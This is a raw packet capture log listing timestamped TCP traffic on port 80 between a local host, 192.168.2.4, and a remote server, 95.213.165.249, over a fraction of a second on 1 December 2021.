Dec 1, 2021 09:14:19.796888113 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.796909094 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.796937943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.796967030 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.796977997 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.796994925 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797023058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797034979 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.797053099 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797080994 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797095060 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.797108889 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797137022 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797147989 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.797164917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797193050 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797204018 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.797220945 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797246933 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797260046 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.797275066 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797301054 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797316074 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.797328949 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797358990 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797369003 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.797388077 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797415972 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797426939 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.797456980 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797487020 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797503948 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.797513008 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.797552109 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.808465958 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.808499098 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.808525085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.808633089 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.822575092 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.854829073 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.854888916 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.854929924 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.854968071 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.854974031 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855007887 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855048895 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855048895 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855089903 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855122089 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855128050 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855168104 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855206013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855227947 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855241060 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855246067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855287075 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855317116 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855326891 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855366945 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855407000 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855407953 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855444908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855484009 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855504990 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855521917 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855560064 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855575085 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855598927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855618954 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855638981 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855679989 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855712891 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855722904 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855762959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855765104 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855782986 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855802059 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855840921 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855879068 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855900049 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855918884 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855954885 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.855958939 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.855999947 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856040001 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856065035 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856079102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856117964 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856143951 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856158018 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856194973 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856235027 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856250048 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856260061 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856277943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856317997 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856339931 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856359005 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856396914 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856436014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856453896 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856473923 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856498957 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856511116 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856549978 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856573105 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856587887 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856626987 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856667995 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856668949 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856707096 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856745958 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856750011 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856786013 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856805086 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856825113 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856870890 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.856894016 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.856954098 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857007980 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857028961 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857052088 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857091904 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857127905 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857146978 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857167959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857189894 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857208014 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857244968 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857260942 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857297897 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857337952 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857373953 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857386112 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857412100 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857456923 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857459068 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857513905 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857559919 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857595921 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857605934 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857635021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857639074 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857687950 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857707024 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857724905 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857765913 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857799053 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857805967 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857816935 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857844114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857882977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857920885 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857948065 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857959032 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.857966900 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.857999086 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858015060 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858036995 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858074903 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858094931 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858114004 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858150005 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858176947 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858187914 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858227015 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858264923 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858279943 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858304977 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858341932 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858361006 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858380079 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858388901 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858418941 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858454943 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858469009 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858493090 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858530998 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858546972 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858568907 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858608007 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858620882 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858644009 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858684063 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858721972 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858736038 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858757973 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858795881 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858810902 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858834028 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858849049 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858874083 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858912945 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858927965 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.858949900 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.858988047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859003067 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.859025955 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859061956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859098911 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859113932 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.859137058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859174967 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859214067 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859251976 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859256029 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.859272003 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.859289885 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859328985 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859365940 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859404087 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859406948 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.859433889 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.859443903 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859456062 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.859502077 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859548092 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859558105 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.859585047 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859623909 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859642029 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.859663963 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.859982967 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.864078999 CET	49796	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.865861893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.865899086 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.865933895 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.865969896 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.865972996 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.866058111 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.868921995 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.870979071 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918015957 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918075085 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918114901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918154001 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918194056 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918232918 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918266058 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918275118 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918292999 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918314934 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918330908 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918356895 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918395996 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918425083 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918433905 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918473959 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918478012 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918513060 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918553114 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918569088 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918592930 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918637037 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918658018 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918678045 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918708086 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918720007 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918761015 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918806076 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918813944 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918844938 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918873072 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918886900 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918930054 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.918952942 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.918967009 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919008017 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919044971 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919070959 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919084072 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919123888 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919147968 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919162989 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919186115 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919203997 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919271946 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919287920 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919308901 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919348001 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919368982 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919387102 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919423103 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919460058 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919480085 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919497967 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919538021 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919557095 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919579029 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919615984 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919634104 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919653893 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919676065 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919696093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919732094 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919751883 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919771910 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919810057 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919825077 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919850111 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919889927 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919925928 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.919945002 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.919965029 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920003891 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920017004 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920039892 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920053005 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920079947 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920118093 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920131922 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920156956 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920196056 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920209885 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920233965 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920272112 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920288086 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920310974 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920346975 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920384884 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920397997 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920423031 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920460939 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920484066 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920507908 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920521021 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920545101 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920583010 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920595884 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920622110 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920659065 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920675039 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920698881 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920737028 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920774937 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920789003 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920814991 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920866966 CET	49795	80	192.168.2.4	95.213.165.249
Dec 1, 2021 09:14:19.920881033 CET	80	49795	95.213.165.249	192.168.2.4
Dec 1, 2021 09:14:19.920926094 CET	80	49795	95.213.165.249	192.168.2.4
